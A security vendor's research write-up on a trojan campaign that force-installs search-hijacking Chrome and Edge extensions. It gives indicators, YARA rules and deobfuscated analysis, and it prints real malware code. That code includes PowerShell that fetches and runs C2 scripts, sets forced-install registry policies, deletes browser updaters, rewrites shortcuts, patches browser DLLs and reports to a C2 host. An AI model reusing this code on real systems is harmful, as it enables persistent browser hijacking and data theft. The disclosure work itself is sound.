New Widespread Extension Trojan Malware Campaign

August 6, 2024
By ReasonLabs Research Team

banner

Executive Summary

Web browser extensions have grown from being just a niche piece of software into a full-on sub-economy of the Internet industry. Extensions are supported on most browsers, including Microsoft Edge and Google Chrome - both offer hundreds of thousands of extensions in the Chrome Web Store and Microsoft Edge Add-ons. With the rise in the popularity of extensions has come a rise in malicious extensions built by bad actors who have pinpointed this relatively new malware attack vector. This research article intends to highlight a specific ongoing threat and the larger issue: malicious web extensions.

The ReasonLabs Research Team has identified a new widespread polymorphic malwarecampaign that forcefully installs extensions on endpoints. The trojan malware contains different deliverables ranging from simple adware extensions that hijack searches to more sophisticated malicious scripts that deliver local extensions to steal private data and execute various commands. This trojan malware, existing since 2021, originates from imitations of download websites with add-ons to online games and videos. We have witnessed a very wide distribution of the malware and extensions - in total at least 300,000 users across Google Chrome and Microsoft Edge have been affected.

At the time of writing, most AV engines do not detect the installer and the extensions. Countless users across the web are complaining about an extension that they cannot get rid of, even posting complaints on the extension page on the Chrome or Edge store - stating that it is a virus that they cannot get rid of, they don’t know how it appeared, and it keeps returning after attempts to remove it.

We alerted Google and Microsoft as soon as we became aware of the issue and they are taking the appropriate measures.

Malware Attack Flow

Advertisers implemented imitations of download sites like Roblox FPS Unlocker, YouTube, VLC, or KeePass to deliver trojans that install malicious extensions. The executables downloaded from the fake websites do not even attempt to install the program the user wanted. In some newer versions, we’ve witnessed installations that pull the original program from a Google storage link, using API to download it. (For a list of fake sites and their installers, visit the “IOCs” section).

figurefigure

Once a user downloads the program from the lookalike website, the program registers a scheduled task using a pseudonym that follows the pattern of a PowerShell script file name, like Updater_PrivacyBlocker_PR1, MicrosoftWindowsOptimizerUpdateTask_PR1, and NvOptimizerTaskUpdater_V2. It’s configured to run a PowerShell script with a similar-looking name “-File C:/Windows/System32/NvWinSearchOptimizer.ps1”. The PowerShell script downloads a payload from a remote server and executes it on the machine. It is important to note that the PowerShell script is written to the system32 folder.

The task:

C:\Windows\system32\cmd.exe /d /s /c “SCHTASKS /Create /TN
“NvOptimizerTaskUpdater_V2” /SC HOURLY /TR “powershell -File
C:/Windows/System32/NvWinSearchOptimizer.ps1” /RL HIGHEST /MO 4 /RU System /ST
07:27”

The script is very short and invokes a second stage script from the C2 directly to memory:

figure

The installer is signed by Tommy Tech LTD. Other installers signed by the same signer have been around since 2021. During the executions, a folder is created at “c:\windows\NvOptimizerLog” where the rest of the files are dropped. The folder’s name varies from time to time, based on the campaign.

Most stages of the installation, as well as all related domains, are not detected as malicious:

figure

figure

figure

The important part of the execution begins when the PowerShell script is finally executed. The script has four interesting functions:

  1. Adds registry values to force the installation of extensions from the store (HKLM:
    \SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist, HKLM:
    \SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist):
    • The extension steals search queries and redirects them through the adversary’s search.
    • The extension cannot be disabled by the user, even with Developer Mode ‘ON’.
    • This method results in a message on the browser: “Your browser is managed by your organization”.
  2. Newer versions of the script remove browser updates.
  3. Tampers with browser “.lnk” files to load a local extension that it drops ($shortcut.Arguments = “$CArgs --load-extension=$CLocalPath”): The local extension again focuses on stealing search queries, but it can also communicate with the C2. It goes through great efforts to obfuscate and hide its activity. It cannot be seen on the “Extensions” management page, so an unsuspecting user cannot easily detect the extension’s existence.
  4. Communicate with CnC to report on the status and get the next stages to execute: This function downloads and executes with invoke-expression. This script in our case is tampering with chrome/edge browser DLL (i.e. msedge.dll), and overrides bytes in the file that specifies the browser’s search engine.

At the time of writing, almost no one has recognized the relatively new C2 domain as malicious. This is the domain the PowerShell script contacts to download the second stage of the PowerShell script that then modifies the browser’s assets.

figure

We have also found more variations of the PowerShell script that contact the domain “nvoptimizer[.]com”, which was created one year ago, as opposed to “nvoptimize[.]com”, created six months ago.

figure

PowerShell Script Deep Dive

The scripts reach the C2 to access:

  1. A Chrome and Edge extension malware that hijacks search (the extension ID varies).
  2. A local extension that downloads all of the files from the C2. It saves the files at a path that it also gets as a parameter from the C2. (“C:\\Windows\\InternalKernelGrid” in this case)

It then replaces all of the browser’s “.lnk” files and edits the target path to execute with additional parameters: “--load-extension” and more parameters that it gets from the C2: the base URL and “--disable-features=OutdatedBuildDetector”.

The functions of the script are as follows:

  • addRegKeys
  • addRegVal
  • removeUpdates
  • Main

addRegKeys

addRegKeys are used to add essential extension registry paths to the registry under HKLM\SOFTWARE\Policies. The malware makes sure the “ExtensionInstallForceList” exists for both Chrome and Edge. They are later used in the script like this:

$keysArr = @("Google", "Chrome", "ExtensionInstallForcelist");
addRegKeys($keysArr);
$keysArr = @("Microsoft", "Edge", "ExtensionInstallForcelist");
addRegKeys($keysArr);

function addRegKeys(){
     param ($arr)
     $basePath = "HKLM:\SOFTWARE\Policies\";
     foreach ($element in $arr) {
        $basePath += $element + '\';

        $t = Test-Path -Path $basePath;
        if (-Not $t){
            $basePath;
            New-Item -Path $basePath;

addRegVal

addRegVal receives parameters information from Stage 3 of the malware after it contacts its C2 for further installation instructions. Inside the response from the C2 are many variables. This function receives instructions on which extensions to force install (based on the response from the C2) and the registry path of the force installation key.

function addRegVal()
{
    param ( $items,[string]$path);
    $currentItems = Get-ItemProperty -Path $path;
    foreach ($a in $items)
    {
        $i = $a.id;
        $val = $a.val;
        if ($currentItems.$i)
        {
            $currentVal = $currentItems.$i;
            if ($currentVal -ne $val)
            {
                Set-ItemProperty -Path $path -Name $i -Value $val;
            }
        }
        else
        {
            New-ItemProperty -Path $path -Name $i -PropertyType String -Value $val;
        }}}

This is used later in the script like this:

$CPath = "HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist";
$EPath = "HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist";

$CItems = $services.reg.c;
$EItems = $services.reg.e;
if ($CItems)
{
    addRegVal $CItems $CPath;
}
if ($EItems)
{
    addRegVal $EItems $EPath;    
}

The script contacts the C2 with a unique UID and receives in return execution parameters establishing where to save downloaded files, what to download, which extensions to install, what the arguments of the modified “.lnk” target will be, version number, restart, and last but not least, a download link for the Stage 3 script.

There are a couple of domains that the malware uses, but the pattern repeats itself with “http://domainname.com/apps/$uid”. For example, in one case: “http[:][//]wincloudservice[.]com/apps/$uid”.

$uid = 'asdasdasdd5d94e0-e44e-41a8-b222-2222224ee22';
$uid;
$wc = New-Object system.Net.WebClient;
$services = $wc.downloadString("http[:][//]wincloudservice[.]com[/]apps[/]$uid").Trim();
$services = $ser.DeserializeObject($services);

This is what a typical response from the C2 looks like:

figure

Or, beautified:

figure

removeUpdates

The script proceeds to disable all updates of the browsers because during each update the default settings are restored and this would interfere with the activity of the malware.

function removeUpdates(){
    param();
    Remove-Item HKLM:\SYSTEM\ControlSet001\Services\gupdate -Recurse;
    Remove-Item HKLM:\SYSTEM\ControlSet001\Services\gupdatem -Recurse;
    Remove-Item HKLM:\SYSTEM\CurrentControlSet\Services\gupdate -Recurse;
    Remove-Item HKLM:\SYSTEM\CurrentControlSet\Services\gupdatem -Recurse;
    Remove-Item 'C:\\Program Files (x86)\\Google\\Update' -Recurse
    Remove-Item 'C:\\Program Files (x86)\\Microsoft\\EdgeUpdate' -Recurse
    Remove-Item 'C:\\Program Files\\Google\\Update' -Recurse
    Remove-Item 'C:\\Program Files\\Microsoft\\EdgeUpdate' -Recurse}

Main

The final stage is to modify shortcut “.lnk” files of browsers, download external files, and execute the next stage script. The script gets the installation directory from the C2 (“$CLocalPath”), then checks if it’s already installed and if the version of the extension is different from the recent (param “v”). It will then traverse recursively on all “.lnk” shortcut files under the “C:\” folder and if it is of chrome.exe or msedge.exe, it will inject the parameters from the C2:

$shortcut = $Shell.CreateShortcut($s.Fullname)
$shortcut.Arguments = "$CArgs --load-extension=$CLocalPath";

After it’s done it will look like this:

figure

The injected string depends on the default browser, but in general, the script consists of extra parameters to be loaded with the usual startup of the browser. The parameters change the default home page to “customsearchbar[.]me”, disable update detection by using “disable-feature=“outdatedbuilddetector” and lastly by using “--extensions-on-chrome-urls” removes protection from Chrome sensitive pages with the pattern of chrome:-scheme (such as chrome://settings).

By default, those pages are protected from extensions, but if the browser starts with this command line, those protections are turned off, thus allowing extensions to access those pages.

figure

(screenshot from chromium documentation)

$CArgs = $services.args.c;
$EArgs = $services.args.e;
$CLocal = $services.local.c;
$CLocalPath = $CLocal.path;

try{
	$currentLocalV = (Get-Content "$CLocalPathersion.txt");
	$currentLocalV  = [Decimal]$currentLocalV ;}
catch{	$currentLocalV  = 0;}

if ($CArgs){
   $Shortcuts =  Get-ChildItem -Path "C:\" -Include *.lnk  -Recurse -Force;
    $Shell = New-Object -ComObject WScript.Shell;
    foreach ($s in $Shortcuts) {   
         $target=  $Shell.CreateShortcut($s).TargetPath;
         if ($target -Match 'chrome.exe') {
            $shortcut = $Shell.CreateShortcut($s.Fullname)
            $shortcut.Arguments = "$CArgs --load-extension=$CLocalPath";
            $shortcut.Save();         }
         elseif ($target -Match 'msedge.exe') {
            $shortcut = $Shell.CreateShortcut($s.Fullname)
            $shortcut.Arguments = $EArgs;
            $shortcut.Save();

The final stage is to download the malicious packed extension files from the C2 parameters in “local.c.files” and download each of them to the malware working folder.

figure

if ($services.local.c){
    if ($currentLocalV -ne $services.local.c.v)    {
        New-Item -Path $CLocalPath -Name "archive.logs" -ItemType "file" -Force
        foreach ($f in $services.local.c.files)
            $fn = $f.split('/')[-1];
            (New-Object Net.WebClient).DownloadFile($f, "$CLocalPath\$fn")

We can see by the commented outline that in past versions of the PowerShell script, it used to download a zipped extension (in the format of “.crx” file) but now it downloads all of the files as is direct to the folder. The malware no longer uses the unzip function anymore.

After it downloaded the files, it replaced the userID in the “config.js” file of the malicious extension with the $uid that it used at the beginning of the script to communicate with the C2. That way the attackers could keep track of which $uid downloaded what, and filter out requests without uid.

#Unzip2 "$CLocalPath\logsCache.zip" "$CLocalPath" -Force
        (Get-Content "$CLocalPath\config.js") -replace '%USERID%', $uid | Set-Content
"$CLocalPath\config.js"

It uses another parameter from the C2 to determine whether or not to restart the Chrome process (in the scripts that we saw it is always “True”) - it closes each window of Chrome and restarts it again, but this time using the malicious arguments that open the malicious extension (--load-extension).

if ($services.restart){ try{
        Get-Process chrome | ForEach-Object { $_.CloseMainWindow() | Out-Null}
        start chrome "$CArgs --load-extension=$CLocalPath --restore-last-session";}

The end of the script checks if there are more commands to execute (in our case we got a different script to execute). The commands are supplied in the “rem” (remote?) parameter and executed with “invoke-expression”.

if ($services.rem)
{
    $rem = $wc.downloadString($services.rem).Trim();
    Invoke-Expression $rem;
}

We have tracked the changed versions of the operation over the past few years and found that each new file name marks a new campaign that operates during different periods.

For example, ‘nvwinsearchoptimizer.ps1, which is the newest:

figure

compared to ‘privacyblockerwindows.ps1’, an older version:

figure

Third-Stage Script

This section refers to the last line of the previous script: “invoke-expression $rem”. As described above, the C2 sends an argument “rem” with a URL to a third-stage script, which it downloads and executes.

What It Does

The purpose of this script is to locate the DLLs of the browsers (msedge.dll if Edge is the default one) and to change specific bytes in specific locations within it. Doing so allows the script to hijack the default search from Bing or Google to the adversary’s search portal. It checks which version of the browser is installed and searches the bytes accordingly.

For example, the recent version of Edge could be “124” and it will be located in the folder:
C:\Program Files (x86)\Microsoft\Edge\Application\124.0.1243\. Thus the malware will check the number prefix because the DLLs have been changed between the versions.

if ($fp -like "*104.*"){
    $offset = $hexString.IndexOf("77-77-77-2E-62-69-6E-67-2E-63-6F-6D-2F-00-2E-2E-5C-2E-2E"); #104
}
elseif ($fp -like "*102.*"){
    $offset = $hexString.IndexOf("77-77-77-2E-62-69-6E-67-2E-63-6F-6D-2F-00-2E-2E-2F-2E-2E"); #102
}
elseif ($fp -like "*101.*"){
    $offset = $hexString.IndexOf("77-77-77-2E-62-69-6E-67-2E-63-6F-6D-2F-00-2E-2E-2F-2E-2E"); #102
}
else{
     $offset = $hexString.IndexOf("77-77-77-2E-62-69-6E-67-2E-63-6F-6D-2F-00-5F-55-00-41-4E-4F-4E-00");    #108-122
}
In the new edition, an “else” condition that handles versions #108-122 was added

The bytes that it wants to write inside the DLL translate to: “msf-edge[.]com”, “https[;//]microsearch[.]me/”, and “sourceid=chrom1” (in order of appearance in the code below).

function hexEdit($fp){
$bytes = [System.IO.File]::ReadAllBytes($fp)
$offset1Bytes = @(109,115,102,45,101,100,103,101,46,99,111,109);
$offset2Bytes = @(104,116,116,112,115,58,47,47,109,105,99,114,111,115,101,97,114,99,104,46,109,101,47,00);
$offset3Bytes = @(115,111,117,114,99,101,105,100,61,99,104,114,111,109,49);
$hexString = [System.BitConverter]::ToString($bytes);
$edited = 0;

To insert those strings, the script searches accordingly for the offsets of the default values “www.bing.com”(offset1), “https://www.google.com/”(offset2), and “sourceid=chrome” (offset3).

$offset = $hexString.IndexOf("68-74-74-70-73-3A-2F-2F-77-77-77-2E-67-6F-6F-67-6C-65-2E-63-6F-6D-2F-00");
 if ($offset -gt 0){
    $offset2 = $offset/3;
    foreach ($b in $offset2Bytes){   if ($bytes[$offset2+$k] -ne $b){...}}

$offset = $hexString.IndexOf("73-6F-75-72-63-65-69-64-3D-63-68-72-6F-6D-65");
 if ($offset -gt 0){
    $offset3 = $offset/3;
     foreach ($b in $offset3Bytes){   if ($bytes[$offset3+$k] -ne $b){...}}

To make sure it can write back to the file, the processes of the browsers are killed:

taskkill /IM msedge.exe /F;
    taskkill /IM msteams.exe /F;
    taskkill /IM msedgewebview2.exe /F;
    Start-Sleep -Seconds 5;
    [System.IO.File]::WriteAllBytes($fp, $bytes)

After the changes have been applied, the next time the browser launches and the user searches for something, the query is automatically redirected to “msf-console[.]com”, which redirects to “search-good[.]com”, and finally redirects to “search.yahoo.com”.

This script will report back to the C2 server both the $uid and the DLL files that it found on the attacked system.

$postParams = @{uid=$uid;files=$files.Fullname | ConvertTo-Json}
    Invoke-WebRequest -Uri "https[:][//]wincloudservice[.]com[/]edll" -UseBasicParsing -Method POST -Body $postParams
    foreach ($f in $files){  hexEdit($f.FullName); }

figure

figure

figure

The extensions that are forcefully installed are frustrating users. We can see in the example below, specifically from nlmpchkfhgoclkajbifladignhbanjdk yglSearch, users complaining about its activities:

figure

Chrome Web Store Extensions (Registry Forced Install)

Extension id for example: nniikbbaboifhfjjkjekiamnfpkdieng

We first identified the adware Chrome extension called “Custom Search Bar” when we began our research in 2022. The extension was first available in 2021 and by 2022 had amassed more than 60,000 users. Recently, however, that extension no longer appears on the Chrome Web Store and new malicious extensions have surfaced from the same origin. For example, some of the new extensions are called “Micro Search”, which until recently was available for download with over 30,000 users, and “yglSearch”, which is still currently available for download and has over 40,000 users.

figure

figure

The domain of “Micro Search” (microsearch[.]me) was the same as the previously removed extension, however it was removed from the Chrome Web Store on April 25th. The distribution method remains the same, along with all of the previous domains. It is impressive how under the radar this malware is given that it has been operating for years without even changing its C2 domains, probably because it hasn’t needed to. By counting the number of users on each extension related to the campaigns, over 200,000 users have been affected by the malware.

Microsoft Edge Extension

We have witnessed force installations of Microsoft Edge extensions, along with Google Chrome extensions. One of the most widespread is an extension with 100,000+ users called “Simple New Tab”. On the Microsoft Edge Add-ons page, the extension is described as “replacing the new tab page with beautiful backgrounds”.

figure

On the same page, we see that 52 users chose to rate the extension with 1 star, along with some angry reviews.

figure

When examining the extension’s code, we can see that it does more than just replace the beautiful backgrounds.

We can see evidence of search takeover inside the code of index.html:

figure

If we install the Edge extension manually, the Edge will first block it because it changes the new tab page settings. It is possible that if forcefully installed, like when delivered by the malicious script, Edge will not show this message.

figure

After closing the browser, the first page that will load is “yandex[.]by”. The new tab’s search default remains as Bing.

figure

Searching from the top bar will result in the use of the default search provider. However, when clicking on the search in the middle of the page, users will be redirected to Yahoo.

figure

figure

figure

“Custom Search Bar” Code Overview

While the explanation below relates to the already removed extension, most of the new versions are even simpler than this and only contain the manifest file without any JS code.

figure

As you can see, it had many nice reviews:

figure

So let’s find out what’s happening inside the Chrome extension’s code. First, it takes over the search by defining the “search_url” field. It fills it with a domain we’ve seen before on the PowerShell analysis - “customsearchbar[.]me”:

figure

It sets its only js file “bg.js” which is a short 100-line script to run in the background.

figure

The script “bg.js” has only three functions: SaveUID, GenerateUID, and main.

GenerateUID and SaveUID do as their name suggests, and generate an ID with some mathematical improvisations. Then in SaveUID with “chrome.storage.sync.get” to get stored values of “uid” and “src”, and the value that is stored in the cookie of “costumesearchbar” in “_uid”. It does an “AND” with the cookie and performs an “OR” on the generated UID that is returned from the function. It then saves it in the logged-in user’s storage, using “chrome.storage.sync.set”. It will do the same to “_src”, however this time it will “OR” it with a fixed value ‘rg_om’.

The main function uses an important process called “chrome.declarativeNetRequest.updateDynamicRules” to replace values of parameters from the URL, which redirects the user’s search request from the search page with the URL of “customsearchbar[.]me/search*”, and injects parameters “u” and “s” which represents the uid and src parameters from before.

Following this action, it will receive the extension’s current version and execute an HTTP request to the C2 server, but this time to the backend (“/api/ext_ping”) with information from the UID and extension version. This request is forwarded to another server: securedatacorner[.]com with the same URL parameters.

let extVersion = chrome.runtime.getManifest().version;
fetch(`https[://]customsearchbar[.]me/api/ext_ping?uid=${result.uid}&extID=${chrome.runtime.id}&extVersion=${extVersion}`)

The code of this Chrome extension and of the new extensions that have just recently been uploaded to the Chrome store is the same:

figurefigure

There are also simpler extensions like “dafkaabahcikblhbogbnbjodajmhbini” that are delivered in this flow, but which don’t contain any javascript files - just a manifest that is responsible for setting the search URL to “yoursearchbar[.]me/search?q={searchTerms}&s=rg”

figure

Malicious Local Extension

The extension at this stage is the one that was downloaded from the C2 and saved to C:\Windows\InternalKernelGrid. Most of the files are heavily obfuscated. This local extension can intercept all web requests, and send them to the C2. It can save information at local storage, send it to the C2, receive commands and encrypted scripts from the C2, and inject and load scripts into all pages.

In addition, it hijacks search queries and trafficks them through its servers and then on to other search engines. The version that we got is 9.5 and it has many files (the new version already exists with 9.8):

C:\Windows\InternalKernelGrid\analytics.js
C:\Windows\InternalKernelGrid\background.html
C:\Windows\InternalKernelGrid\bg.js
C:\Windows\InternalKernelGrid\bg_fallback.js
C:\Windows\InternalKernelGrid\config.js
C:\Windows\InternalKernelGrid\content.js
C:\Windows\InternalKernelGrid\crypto-js.min.js
C:\Windows\InternalKernelGrid\devtools.html
C:\Windows\InternalKernelGrid\devtools.js
C:\Windows\InternalKernelGrid\extensions_page.css
C:\Windows\InternalKernelGrid\extensions_page.js
C:\Windows\InternalKernelGrid\icon.png
C:\Windows\InternalKernelGrid\manifest.json
C:\Windows\InternalKernelGrid\version.txt

We can see from the manifest file that the malicious extension calls itself “Google Updater”, and runs content scripts on all URLs and also on chrome://extensions. It asks for too many powerful permissions and also asks to be able to run scripts from its C2 domains:

figure

figure

Config.js sets parameters such as the API domain (C2) and the extension IDs.

figure

bg.js

Bg.js is the script that will consistently run in the background, and as can be seen, it is heavily obfuscated. Its purpose is to be the loader of the main script. It also prevents access to the page of the extension at chrome://extensions and removes the local extension name from the grid of extensions.

figure

Some obfuscation has never stopped us, so we managed to deobfuscate it. By clearing redundant variables and rebuilding the deobfuscation logic that used a function with a bank of strings, we achieved a clean clear version of the code.

Instead of: _0x95cf63[_0x230891(0x107)](_0x144921)[_0x230891(0x10f)]
we can get: chrome[‘runtime’].onMessage.addListener

The same logic is applied to all of the obfuscated JS scripts in the extension.

bg_fallback.js

Bg_fallback.js is very similar to rc.js and is also an obfuscated script. In most cases, it is not marked as malicious:

figure

figure

Bg_fallback’s purpose is to hijack user search queries from major search engines and execute them through the adversary’s search engine, as can be seen below in more detail:

Bg_fallback registers all outgoing requests to alter them before they are sent and filters them according to the URL domain.

figure

It then grabs the search term from the URL and records which search engine it came from. It then adds all information to the URL that it sends back to itself:

figure

Finally, it gets the “timers” from the storage key and decrypts the JSON. For each of them that are not excluded, it sets a timer which it fixes in the storage and redirects the URL back to the redirect URL. Before redirecting, however, it uses “chrome.webRequest.onBeforeRedirect.addListener” to push the headers that it got from the C2.

chrome['runtime'].onMessage.addListener(...    if (message.msg == getRegData)

It registers a listener to wait for the message “getRegData” to report back to the C2 on successful actions, sends cookies of specific domains to the C2, and gets information stored in the storage key “regData”.

After this, it contacts the “apiDomain” which is “securedatacorner” on “apiDomain/jobs” to get encrypted jobs from the C2. It uses its decrypt function and parses the JSON output and iterates on each job to either:

Update the redirects (save them in storage key “red” as an encrypted JSON and then report the C2 with the “jobCompleted” function) or do a validation check by getting the cookies on the domain provided on the job, and report it back to the C2 with the “jobCompleted” function.

figure

List of search engines it hijacks from:

  • search.myway.com
  • www.ask.com
  • www.bing.com/search
  • www.google.com, www.google.fr, www.google.de, www.google.no, www.google.se, www.google.nl, www.google.ca, www.google.ch, www.google.au

rc.js

We are fairly confident that rc.js stands for ‘remote code’, as it downloads the script from a remote server:

figure

figure

Reporting back to C2 on completion of jobs

Hijacking the search from known search engines, and redirecting it to its own “activesearchbar[.me]”, along with extra parameters including from which search engine it originated and which of its scripts (bg_fallback or rc) is executing it: (in this example hijacking from “search.myway.com”, and in the next example, hijacking from Google):

figure

figure

Extensions_page.css
The design of the page is set to be hidden:

figure

Extension_page.js:

figure

Deobfuscated:

figure

The script removes extensions with specific IDs from the page of the installed extensions, hiding them from the user’s eyes, and making it impossible to manually remove them.

Content.js:
chrome.runtime.sendMessage({action: "pageView", data:window.location.hostname});

background.html:

figure

Loads all of the above scripts to execute in the background.

Devtools.html:
Loads “Devtool.js” script.

figure

Devtool.js - sending a message if the user switched to developer tools to inspect the page:

figure

After the user’s device has been infected, if they enter “chrome://extensions”, only one of its two extensions can be seen on the page and it is impossible to disable it from here:

figure

We can only see evidence of the “Google Updater” local extension loaded into the browser when clicking on the icon of “extensions” on the top of the page.

figure

Both in VirusTotal and in our database, we can spot more software that claims to be Chrome Setup or Steam updates from the domain of securedatacorner:https://www.virustotal.com/gui/url/22e7d2d85820b49f1278ce152c5ed39fd88087c7a998dcf348b6164d5b33bb8d/details.

YARA

This basic rule helped us detect a huge amount of malicious first-stage PowerShell scripts:

rule wncld_extension_dropper
{
strings:
 $ = "[System.Reflection.Assembly]::LoadWithPartialName(\"System.Web.Extensions\")" ascii nocase
 $ = "$uid = " ascii nocase
 $ = "New-Object system.Net.WebClient;"
 $ = "downloadString(" ascii nocase
 $ = "Invoke-Expression" ascii nocase
		
condition:
 filesize < 500KB and all of them
}

A general rule for the manifest files of the local extension:

rule wncld_manifest
{
strings:
    $ = "\"devtools_page\":\"devtools.html\"" ascii nocase
    $ = "\"content_scripts\":" ascii nocase
    $ = "content.js" ascii nocase
    $ = "\"matches\": [\"<all_urls>\"]" ascii nocase
    $ = "\"run_at\": \"document_idle\"" ascii nocase
    $ = "extensions_page.js" ascii nocase
    $ = "\"matches\": [\"chrome://extensions/*\"]" ascii nocase
    $ = "\"permissions\":" ascii nocase
    $ = "unsafe-eval" ascii nocase
    $ = "storage" ascii nocase
    $ = "webRequestBlocking" ascii nocase	

condition:
uint16(0) == 0xa7b
        and
        filesize < 1500KB
        and
        all of them
}

IOCS

Virus Total collection and graph with IOCs.

Signers:

  • Tommy Tech LTD

Domains:

  • http[:]//wincloudservice[.]com/apps/$uid
  • http[:]//sslwindows[.]com/apps/$uid
  • securedatacorner[.]com
  • Nvoptimie[.]com
  • nvoptimizer[.]com
  • Customsearchbar[.]me
  • yoursearchbar[.]me
  • activesearchbar[.]me
  • msf-console[.]com
  • msf-edge[.]com
  • search-good[.]com
  • Microsearch[.]me
  • yglsearch[.]com
  • qcomsearch[.]comlaxsearch[.[comqtrsearch[.]comSafesearcheng[.]com
  • simplenewtab[.]com
  • Wonderstab[.]com
  • searchnukes[.]com
  • exyzsearch[.]com
  • kondoserp1[.]com

Extension IDs:

  • “Google Updater” (local extension)

Chrome:

  • nniikbbaboifhfjjkjekiamnfpkdieng - “Custom Search Bar” - 40K+ users
  • nlmpchkfhgoclkajbifladignhbanjdk- “yglSearch” - 40K+ users
  • bcmmbhidjmodkbeidljmhcijhkchokcj - “Qcom search bar” - 40+ users
  • gdamghfpmkabflbpldhdpbbfofolgaji - “Qtr Search” - 6K+ users
  • bbgbmlkfflffccognkcbbmkakbejnado - “Micro Search Chrome Extension” - 180K+ users (removed from Chrome store)
  • pkofdnfadkamabkgjdjcddeopopbdjhg - “Active Search Bar” - 20K+ users (removed from Chrome store)
  • dafkaabahcikblhbogbnbjodajmhbini- “Your Search Bar” - 40K+ users (removed from Chrome store)
  • lfdkgganmodljeaemeadfhfhinpldmnf - “Safe Search Eng” - 35K+ users (removed from Chrome store)
  • pjomkeecbjnbpmanlbeijbkahooibopk - “Lax Search” - 600+ users (removed from Chrome store)

Edge:

  • fodkmcnpjapcffbmhelopfjhlmdmnbll - “Simple New Tab” - 100,000K+ users (removed from Edge store)
  • Cmodflldkmidgkmpkllldpcmplemgoab - “Cleaner New Tab” - 2K+ users (removed from Edge store)
  • Docmlpbiejclgidiacmjpkpoojgiacgn - “NewTab Wonders” - 7K+ users (removed from Edge store)
  • dbncciiegloaglpkgjpjhfahaiopfppa - “SearchNukes” - 1K+ users (removed from Edge store
  • ljgodogldijlkialfpccoekklegilffm - “EXYZ Search” - 1K+ users - this extension was registered with the same email of the creator of “Custom Search Bar”, removed from Edge store)
  • Odpgdmpimkafpjaihemmmmlalofkfpic - “Wonders Tab” - 6K+ users (removed from Edge store)

PowerShell scripts:

Third-stage scripts (extension files fetched from C2):

  • C:\Windows\InternalKernelGrid\analytics.js - 52f2f69805f9790502eb36d641575d521c4606a2
  • C:\Windows\InternalKernelGrid\background.html - 3b9af4dffbd426873fff40a0bb774a722873b6c7
  • C:\Windows\InternalKernelGrid\bg.js - da037a7d75e88e4731afe6f3f4e9c36f90bf1854
  • C:\Windows\InternalKernelGrid\bg_fallback.js - d62c4654ba1ebb693922d2ecbb77d1e6d710bce7
  • C:\Windows\InternalKernelGrid\config.js - b6ab97623171964f36ba41389d6bcd4ce2c3db8c - endless multiple hashes, this script contains the UID of the infected user, thus different hash for each user
  • C:\Windows\InternalKernelGrid\content.js - 58f231f5b70d92fca99e76c5636f25990a173d69
  • C:\Windows\InternalKernelGrid\crypto-js.min.js - bde186152457cacf9c35477b5bdda5bcb56b1f45
  • C:\Windows\InternalKernelGrid\crypto.js - 635cf72f978b29dc9c8aac09ea53bc68c2c8681b
  • C:\Windows\InternalKernelGrid\devtools.html - 0885fd3ef0d221951e69f9424d4a4c3bda4c27f6
  • C:\Windows\InternalKernelGrid\devtools.js - da884c769261c0b4dce41d4c9bcdb2672f223fd4
  • C:\Windows\InternalKernelGrid\extensions_page.css - da884c769261c0b4dce41d4c9bcdb2672f223fd4
  • C:\Windows\InternalKernelGrid\extensions_page.js - 96c6cc391821604c787236061facc5c9a0106a74
  • C:\Windows\InternalKernelGrid\icon.png - c2cd89e1ce6c05188b425bba816ffd5f56f7e562
  • C:\Windows\InternalKernelGrid\manifest.json - 2a000fd4789def61f3c4eb19d237ca7c883515bf
  • C:\Windows\InternalKernelGrid\version.txt - 06d06bb31b570b94d7b4325f511f853dbe771c21
  • rc.js - 0dfce59bee9ac5eb2b25508056df2225ef80552f
  • C:\Windows\InternalKernelGrid3\bg.js - 29c4cb1faa2e6f0a4352d01d8b8679cef13c5e63
  • C:\Windows\InternalKernelGrid4\bg.js - bbd51d7ac6e44d41c32a546b35c9d9cfc3abafee
  • C:\windows\internalkernelgrid3\extensions_page.js - 3db731f11d9c85c9d2dcabee6ff8beeeee97fd7d
  • C:\windows\internalkernelgrid4\extensions_page.js - 88baaa2eefe27ad5d2bc387a5ad96f507cbf00c1
  • C:\Windows\InternalKernelGrid4\config.js - 3406ab5de89be8784124e60ff69f57252caa695b- endless multiple hashes, this script contains the UID of the infected user, thus different hash for each user. In kerndelGrid4 the apiDomain is “nvoptimize[.]com”

Existence of these folders:

  • C:\Windows\InternalKernelGrid
  • C:\Windows\InternalKernelGrid3
  • C:\Windows\ShellServiceLog
  • C:\windows\privacyprotectorlog
  • C:\Windows\InternalKernelGrid4
  • C:\Windows\NvOptimizerLog

Existence of these scheduled tasks:

  • \NvOptimizerTaskUpdater_V2

Registry activity:

  • MACHINE\SOFTWARE\NVOPTIMIZER, InstallLocation, C:\Windows\NvOptimizerLog
  • USER\S-1-...\SOFTWARE\NVOPTIMIZER, InstallLocation, C:\Windows\NvOptimizerLog
  • MACHINE\SOFTWARE\WOW6432NODE\NVOPTIMIZER, InstallLocation, C:\Windows\NvOptimizerLog
  • MACHINE\SOFTWARE\NVOPTIMIZER, ExecFileName, Download_Checkpoint-Setup-v-aj8e3aA.exe
  • SOFTWARE\\Policies\\Google\\Chrome\\ExtensionInstallForcelist
  • SOFTWARE\\Policies\\Microsoft\\Edge\\ExtensionInstallForcelist

Installer URL examples (not all are included):

  • https[://]dn[.]keepass[.]tech[/]api[/]download[?]app
  • https[://]winautoclicker[.]com/app/AutoClicker_x64LTS.exe
  • https[://]downloadbucket1x.s3.eu-west-1.amazonaws[.]com/FPSUnlocker_x64.exe
  • https[://]4kdownloads[.]com/app/4kvideodownloader_4.1_x64LTS.exe
  • https[://]fpsunlockers[.]com/app/FPSUnlocker_4.1_x64LTS.exe
  • https[://]emu-dolphin[.]com/app/dolphin-x64-5.1.exe
  • https[://]pcgameloop[.]com/app/GLP_installer_900221846.exe
  • https[://]tiktok.4kdownloads[.]com/app/TikTokDownloader_3.1_ex64LTS.exe
  • https[://]insta.4kdownloads[.]com/app/Insta4kDownloader_ex64LTS.exe
  • https[://]cdn.googlstaticontent[.]com/DesktopApp/YouTubeAppSetup.exe
  • https[://]insta.4kdownloads[.]com/app/Insta4kDownloader_x64LTS.exe
  • https[://]rummi.mrgameshub[.]com/app/RummikubSetup_ex64LTS.exe
  • https[://]wordle.mrgameshub[.]com/app/Wordle_x64LTS.exe
  • https[://]securedatacorner[.]com/exe/download/SteamSetup.exe
